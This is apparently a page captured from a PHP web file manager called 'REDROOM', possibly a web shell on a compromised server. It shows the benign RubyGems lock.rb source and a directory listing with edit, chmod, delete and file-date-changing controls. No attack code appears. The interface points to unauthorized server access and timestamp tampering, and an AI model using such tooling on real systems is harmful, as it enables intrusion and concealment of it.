REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 845 B
Close
/proc/thread-self/root/opt/alt/ruby22/lib64/ruby/2.2.0/rubygems/source/lock.rb
Text
Base64
## # A Lock source wraps an installed gem's source and sorts before other sources # during dependency resolution. This allows RubyGems to prefer gems from # dependency lock files. class Gem::Source::Lock < Gem::Source ## # The wrapped Gem::Source attr_reader :wrapped ## # Creates a new Lock source that wraps +source+ and moves it earlier in the # sort list. def initialize source @wrapped = source end def <=> other # :nodoc: case other when Gem::Source::Lock then @wrapped <=> other.wrapped when Gem::Source then 1 else nil end end def == other # :nodoc: 0 == (self <=> other) end ## # Delegates to the wrapped source's fetch_spec method. def fetch_spec name_tuple @wrapped.fetch_spec name_tuple end def uri # :nodoc: @wrapped.uri end end
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 6
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
git.rb
5.21 KB
lrw-r--r--
2014-10-01 08:30:21
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
installed.rb
631 B
lrw-r--r--
2014-09-14 03:30:02
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
local.rb
2.60 KB
lrw-r--r--
2013-11-30 23:27:52
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
lock.rb
845 B
lrw-r--r--
2013-12-08 01:22:39
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
specific_file.rb
1.44 KB
lrw-r--r--
2014-09-14 03:30:02
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
vendor.rb
438 B
lrw-r--r--
2013-11-30 23:27:52
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).